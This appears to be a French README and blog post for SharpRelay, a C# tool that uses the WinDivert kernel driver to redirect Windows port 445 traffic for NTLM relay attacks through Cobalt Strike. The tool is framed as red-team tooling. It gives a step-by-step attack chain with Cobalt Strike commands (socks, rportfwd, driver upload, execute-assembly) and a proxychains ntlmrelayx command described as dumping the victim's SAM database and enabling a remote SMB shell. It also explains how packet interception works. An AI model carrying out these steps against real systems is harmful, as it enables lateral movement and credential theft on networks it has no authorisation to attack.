
Outil en C# exploitant le pilote WinDivert pour intercepter et rediriger le trafic du port 445 de Windows pour des attaques de relais NTLM via Cobalt Strike, permettant le mouvement latéral et la récolte d'identifiants dans les opérations d'équipe rouge.
La seule condition requise pour que cette attaque fonctionne est de disposer d'un beacon avec des privilèges d'administrateur local ou la capacité de charger des pilotes. L'attaque utilisant SharpRelay se déroule comme suit :
rportfwd de Cobalt Strike pour rediriger le port 8445 de la machine compromise vers le port 445 de notre teamserver.Les exemples de commandes suivants peuvent être exécutés depuis Cobalt Strike pour réaliser ces actions :
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Lorsque tout ce qui précède s'exécute avec succès, vous devez démarrer votre serveur de relais (configurez proxychains sur le port spécifié dans les commandes ci-dessus, par exemple 4444) :
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
La commande ci-dessus extraira la base de données SAM de la machine victime. Il est également possible d'obtenir un shell SMB interactif ainsi que d'exécuter des commandes à distance sur la victime.
SharpRelay a été testé sur Win10 x64.
Si vous souhaitez compiler l'outil à partir des sources, vous pouvez procéder comme suit :
Les instructions ci-dessus ont été testées avec Visual Studio 2019.
SharpRelay est basé sur le pilote WinDivert. Selon sa description, WinDivert est un pilote noyau qui permet l'interception et la modification de paquets en mode utilisateur. L'utilisateur doit spécifier un filtre, et tous les paquets correspondant à ce filtre seront interceptés et pourront être modifiés.
Extrait du fichier ReadMe :
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Pour nous, la chose la plus importante que WinDivert nous permet de faire est d'intercepter le trafic à destination d'un port Windows ouvert et de le rediriger vers un autre port en modifiant les ports source et destination TCP de chaque paquet, en recalculant les checksums TCP et en réinjectant les paquets dans la pile réseau.
Sous Windows, le port 445 est toujours actif par défaut. Je n'entrerai pas dans les détails du processus utilisant le port 445 car cela a déjà été analysé dans l'article suivant, alors n'hésitez pas à le lire :
L'article ci-dessus contient également une autre idée intéressante : utiliser WinDivert pour effectuer une attaque de relais SMB via Metasploit. Vous pouvez télécharger quelques DLLs et un fichier pilote sur la machine cible, accompagnés de divertTCPconn.exe, puis les exécuter. J'ai trouvé cette attaque géniale, mais ce que je n'aimais pas, c'était la nécessité de télécharger plusieurs DLLs sur la machine cible.
Mon objectif était donc de réaliser la même attaque en déposant le minimum de fichiers sur le disque et en l'exécutant via Cobalt Strike.
Tout d'abord, je voulais utiliser la fonction execute-assembly de Cobalt Strike, j'ai donc décidé d'écrire mon code en utilisant le framework .NET. Mon idée initiale était de réécrire divertTCPconn en C# et tout fonctionnerait. Il s'est avéré que c'était très compliqué. Heureusement, j'ai trouvé le package NuGet suivant écrit par TechnikEmpire :
Grâce à WinDivertSharp, j'ai pu écrire SharpRelay pour charger le pilote en créant un service et communiquer avec le pilote WinDivert afin d'effectuer toute modification de paquet nécessaire.